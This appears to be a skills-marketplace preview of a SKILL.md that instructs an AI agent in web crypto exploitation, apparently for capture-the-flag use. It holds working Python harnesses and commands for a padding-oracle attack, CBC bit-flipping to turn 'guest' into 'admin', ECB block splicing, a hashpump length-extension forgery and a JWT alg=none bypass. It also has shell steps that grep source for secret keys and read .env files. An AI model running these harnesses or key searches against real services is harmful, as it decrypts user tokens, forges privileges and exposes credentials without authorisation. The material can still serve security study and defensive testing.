Skip to main content

crypto

Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
June 2, 2026 at 17:44
Detected SKILL.md language
English
Stars
5,522
Forks
1,048

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
crypto
description
Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"padding oracle, Vaudenay, padding-oracle attack, CBC, AES-CBC, AES-ECB, ECB pattern, ECB block substitution, cut-and-paste, bit-flipping, IV manipulation, HMAC bypass, hash-length extension, length extension, MD5 length extension, SHA1 length extension, JWT alg confusion, JWT none, JWT alg=none, base64 cookie, encrypted cookie, encrypted token, captcha, encrypted captcha, crypto challenge, cipher"}
# Web Crypto Exploitation Exploits applications that misuse symmetric ciphers (CBC/ECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: **find the oracle, prove the oracle is real, then iterate within a hard request budget**. Without the proven oracle the attack burns the cycle. ## Step 0 — Key Discovery (Do Before ANY Network Attack) **Check if the application key is hardcoded in source.** CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe: ```bash # Find app source in the workspace find /workspace -name "*.py" -o -name "*.js" -o -name "*.rb" -o -name "*.php" 2>/dev/null | head -20 # Grep for hardcoded keys grep -rn 'AES_KEY\|SECRET_KEY\|key\s*=\s*[b'"'"'"'"'"'"'"'"']\|password\s*=' /workspace/*/app/ 2>/dev/null | head -20 # Also check environment files cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/null ``` **If the key is found**, decrypt offline immediately — no oracle, no network requests: ```python import base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding as crypto_padding KEY = b'C' * 32 # replace with discovered key cookie = "<base64-cookie-from-browser>" raw = base64.b64decode(cookie) iv, ct = raw[:16], raw[16:] cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv)) pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize() # Remove PKCS7 padding unpadder = crypto_padding.PKCS7(128).unpadder() plaintext = unpadder.update(pt) + unpadder.finalize() print("plaintext:", plaintext) ``` Only proceed to the oracle-based attack below if no key is found in source. ## Recognition Signals Trigger this skill when ANY of the following are present: - **Base64 cookie / token whose decoded length is a multiple of 16 (AES-CBC) or 8 (DES/3DES)**. Length boundaries are the giveaway: `len(b64decode(token)) % 16 == 0` and not 32 or 48 → likely 1-2 blocks of CBC; `% 16 == 0` with 32-64 bytes → IV+ciphertext pattern. - **Distinct error responses for "invalid padding" vs "invalid auth/decryption"**. Status code, body, length, or even response time differences across the two failure modes ARE the oracle. If the two modes look identical, no oracle. - **JWT** in `Authorization: Bearer <three-base64-segments-separated-by-dots>`. Always inspect `alg` header (`alg=none`, `alg=HS256` with public-key confusion, `alg=RS256→HS256` substitution). - **Repeated 16-byte ciphertext blocks** within a single token — direct ECB tell. Decode base64, slice into 16-byte blocks, look for duplicates. - **Server returns separate encrypted blob + tag/HMAC concatenated** — candidate for HMAC bypass / hash-length extension if the MAC scheme is weak (e.g. `MD5(secret || message)`). - **Challenge tag** includes `crypto`, `cipher`, `oracle`, `captcha`, `encrypted_captcha`, `padding`, `hmac_bypass`, `jwt`, `length_extension`. ## Confirm-Oracle Gate **STOP** — before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side. **Layout detection (run before the gate):** Decode the token and determine the IV/CT layout. AES-CBC tokens always use `IV(16) || CT(16 * N)` — the first 16 bytes are always the IV. Confirm: ```python import base64 raw = base64.b64decode("<TOKEN>") print(f"total bytes: {len(raw)}, blocks: {len(raw)//16}") # len==32 → IV(16) + 1 ciphertext block (16 bytes of plaintext) # len==48 → IV(16) + 2 ciphertext blocks (32 bytes of plaintext) # len==64 → IV(16) + 3 ciphertext blocks (48 bytes of plaintext) # The IV is ALWAYS raw[:16]. Ciphertext is raw[16:]. ``` **Also identify the correct cookie/parameter name.** Check the response headers from a GET request to confirm the cookie name: ```bash curl -sv "$TARGET/" 2>&1 | grep -i 'set-cookie' ``` Use that exact cookie name (e.g. `captcha`, `session`, `token`) in every subsequent request. ```bash timeout 60 python3 -u -c ' import base64, requests, sys URL = "https://<TARGET>/decrypt" TOKEN = "<base64-cookie-or-token-from-recon>" ct = bytearray(base64.b64decode(TOKEN)) # Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block) flipped = bytearray(ct) flipped[-17] ^= 0x01 # Probe B: completely random ciphertext (corrupts MAC/auth too, not just padding) import os random_ct = bytearray(os.urandom(len(ct))) for label, payload in [("flip-pad", flipped), ("random", random_ct)]: b64 = base64.b64encode(bytes(payload)).decode() r = requests.get(URL, cookies={"token": b64}, timeout=5) sys.stdout.write(f"=== {label} === status={r.status_code} len={len(r.content)} body={r.text[:200]!r}\n") sys.stdout.flush() ' 2>&1 | tee oracle_gate.txt ``` **Pass criteria** (any one): - Status code differs between flip-pad and random. - Body length differs by ≥1 byte (after stripping timestamps). - Response body string differs in the leading 200 chars (e.g. "Invalid padding" vs "Invalid token"). - Response time consistently differs by ≥50ms across 3 repeats (timing oracle — fragile, last resort). If gate FAILS (no pass criterion met before the harness's outer `timeout` fires): the two failure modes are indistinguishable from the network — there is no oracle on this endpoint. Hand back to recon with "no padding oracle observable on `<endpoint>`; check other endpoints or token sinks". If gate PASSES: continue with the targeted attack below. Capture the `flip-pad` and `random` responses as the oracle's "VALID-PAD" and "INVALID" templates. **Oracle predicate — generic formulation (critical):** The oracle has exactly TWO observable states: "padding valid" and "padding invalid." The INVALID state is the one consistent with fully-random ciphertext (your `random` probe above). Define your predicate as: ```python # KNOWN_BAD = (status_code, body_prefix) from the random probe KNOWN_BAD = (r_random.status_code, r_random.text[:200]) def valid_pad(response): return (response.status_code, response.text[:200]) != KNOWN_BAD ``` **Do NOT hardcode** `status == 403` or `"Invalid padding" in text` as your oracle check. Many Flask/Express apps raise uncaught exceptions (HTTP 500) when they successfully decrypt garbage plaintext that fails downstream processing (UTF-8 decode, JSON parse, session deserialization). These **500s ARE valid-pad signals** — they differ from the random-ciphertext response, so `valid_pad()` returns True correctly. If you hardcode the status check, you will treat 500s as failures and burn the entire request budget on byte positions that actually succeeded. ## 1. Padding Oracle (Vaudenay) — Full Walkthrough Decrypt a CBC ciphertext one byte at a time by manipulating the previous block's bytes and asking the oracle whether the resulting padding is valid. ```bash timeout 600 python3 -u -c ' import base64, concurrent.futures, requests, sys, os URL = "http://<TARGET>/" # adjust path/method to match the vulnerable endpoint TOKEN = "<base64-blob>" # base64 cookie value captured from recon COOKIE_NAME = "captcha" # use the EXACT cookie name from Set-Cookie header BLOCK = 16 MAX_REQUESTS = 4096 # hard budget — abort if we hit it # Generic oracle predicate: derive KNOWN_BAD from a random-ciphertext probe first. # Do NOT hardcode status codes — 500s from downstream decode errors ARE valid-pad signals. ct = base64.b64decode(TOKEN) assert len(ct) % BLOCK == 0 blocks = [ct[i:i+BLOCK] for i in range(0, len(ct), BLOCK)] session = requests.Session() budget = [MAX_REQUESTS] # Calibrate oracle: send fully-random ciphertext, record the response signature _rand = os.urandom(len(ct)) _r = session.get(URL, cookies={COOKIE_NAME: base64.b64encode(_rand).decode()}, timeout=5) KNOWN_BAD = (_r.status_code, _r.text[:200]) sys.stdout.write(f"KNOWN_BAD (random ciphertext) = {KNOWN_BAD}\n"); sys.stdout.flush() def is_valid_pad(forged_iv, target_block): """Returns True if oracle says padding is valid (response differs from KNOWN_BAD).""" if budget[0] <= 0: raise RuntimeError("request budget exhausted") budget[0] -= 1 blob = base64.b64encode(forged_iv + target_block).decode() r = session.get(URL, cookies={COOKIE_NAME: blob}, timeout=5) return (r.status_code, r.text[:200]) != KNOWN_BAD def crack_block(prev, target): """Recover plaintext of `target` by manipulating `prev`.""" intermediate = bytearray(BLOCK) for byte_idx in range(BLOCK - 1, -1, -1): pad_value = BLOCK - byte_idx # Try every possible byte at byte_idx until oracle reports valid padding forged = bytearray(BLOCK) for k in range(byte_idx + 1, BLOCK): forged[k] = intermediate[k] ^ pad_value # Parallelize the 256-byte search (bounded workers) with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex: futures = {} for guess in range(256): f = bytearray(forged) f[byte_idx] = guess futures[ex.submit(is_valid_pad, bytes(f), target)] = guess for fut in concurrent.futures.as_completed(futures): if fut.result(): intermediate[byte_idx] = futures[fut] ^ pad_value break else: raise RuntimeError(f"no valid pad found at block byte_idx={byte_idx}") plaintext = bytes(intermediate[i] ^ prev[i] for i in range(BLOCK)) return plaintext recovered = b"" # block 0 is the IV; decrypt blocks 1..N using their predecessors as "prev" for i in range(1, len(blocks)): sys.stdout.write(f"=== decrypting block {i} (budget left {budget[0]}) ===\n") sys.stdout.flush() pt = crack_block(blocks[i-1], blocks[i]) sys.stdout.write(f"block {i} plaintext: {pt!r}\n") sys.stdout.flush() recovered += pt sys.stdout.write(f"=== full plaintext: {recovered!r} ===\n") ' 2>&1 | tee padding_oracle.txt ``` **Request budget per block**: 16 bytes × 256 guesses = 4096 requests worst case (this is the algorithm's hard upper bound for one CBC block under Vaudenay; not a tunable). Parallelism reduces wall-clock but does not reduce the request count. Do NOT push `max_workers` past the sandbox throttling threshold (around 32 — higher values trigger rate-limit WAF rules and crash the single-threaded dev servers most CTF challenges use). **First-block verification**: the FIRST plaintext block is the diagnostic — if it has not returned after a reasonable harness run AND the request budget has not yet been exhausted, KILL the harness and revisit: - Is the oracle predicate right? Print `KNOWN_BAD` and a few live responses — verify `(status, body[:200]) != KNOWN_BAD` fires on valid-pad cases. - Is parallelism throttled by the server (rate limit, WAF, session lock)? Drop `max_workers` to 4 and rerun. - Is the budget exhausted before any block? Increase `MAX_REQUESTS`, or accept this server is too slow and switch to a non-oracle attack. ## 2. CBC Bit-Flipping When the application decrypts CBC and trusts the plaintext (e.g. role flag in a cookie), flipping bytes in block N's ciphertext flips the same bytes in block N+1's plaintext (block N+1 itself is corrupted to garbage). ```python # Known plaintext at position i → desired plaintext at position i. # Flip ct[block_n][offset] ^= known_pt[i] ^ desired_pt[i] import base64 TOKEN = "<base64>" ct = bytearray(base64.b64decode(TOKEN)) # E.g. flip "user=guest" → "user=admin" inside block 1, byte 5 KNOWN, DESIRED = b"guest", b"admin" for i in range(min(len(KNOWN), len(DESIRED))): ct[i + 5] ^= KNOWN[i] ^ DESIRED[i] print(base64.b64encode(bytes(ct)).decode()) ``` Block N is destroyed by the flip — make sure block N's plaintext is one the application doesn't sanity-check (e.g. timestamp / nonce that's never read). ## 3. AES-ECB Attacks ### Pattern detection Two identical 16-byte plaintext blocks produce two identical 16-byte ciphertext blocks under ECB. Detect: ```python import base64 ct = base64.b64decode("<TOKEN>") blocks = [ct[i:i+16] for i in range(0, len(ct), 16)] print("blocks:", len(blocks), "unique:", len(set(blocks))) # unique < total → ECB confirmed ``` ### Cut-and-paste If the application encrypts `<attacker-controlled prefix> | <user-data> | <suffix>` under ECB and lets the attacker register/login multiple times, you can capture aligned blocks containing chosen plaintext (e.g. `admin\x0b\x0b\x0b...`) and splice them into another user's token. ```python # 1. Register a user whose name positions "admin" + valid PKCS7 padding into a clean block. # 2. Capture that ciphertext block. # 3. Register a normal user. Capture their token. # 4. Replace the block holding "user" with the block holding "admin". # 5. Submit forged token. ``` ### Prefix/suffix recovery If you can prepend bytes to a secret suffix (e.g. flag) that the server encrypts under ECB: 1. Find block size: vary prefix length, watch for first response-length jump of `BLOCK_SIZE`. 2. Per byte: send `"A"*(BLOCK_SIZE-1)`, capture block, then for each `g in 0..255` send `"A"*(BLOCK_SIZE-1) + g`, compare blocks — match reveals the byte. 3. Slide the prefix one byte left and repeat until the secret is exhausted. ## 4. HMAC / Signature Bypass ### Hash-length extension If the MAC is `MD5(secret || message)` or `SHA1(secret || message)` (no HMAC construction), and you know `len(secret) + len(message)` and the MAC, you can append data and compute a valid MAC without knowing the secret. Tooling: `hashpump` or `hash-length-attack` (Python). ```bash # hashpump: append "&admin=true" to a signed message hashpump -s <orig_mac> -d "<orig_message>" -k <secret_len_guess> -a "&admin=true" ``` ### JWT alg confusion - **`alg=none`**: strip signature, set header `{"alg":"none","typ":"JWT"}`, set payload, send `<header>.<payload>.` (empty signature). Many libraries accept it.
View on GitHub
This SKILL.md is very large, so SkillsMP previews the first section here. View on GitHub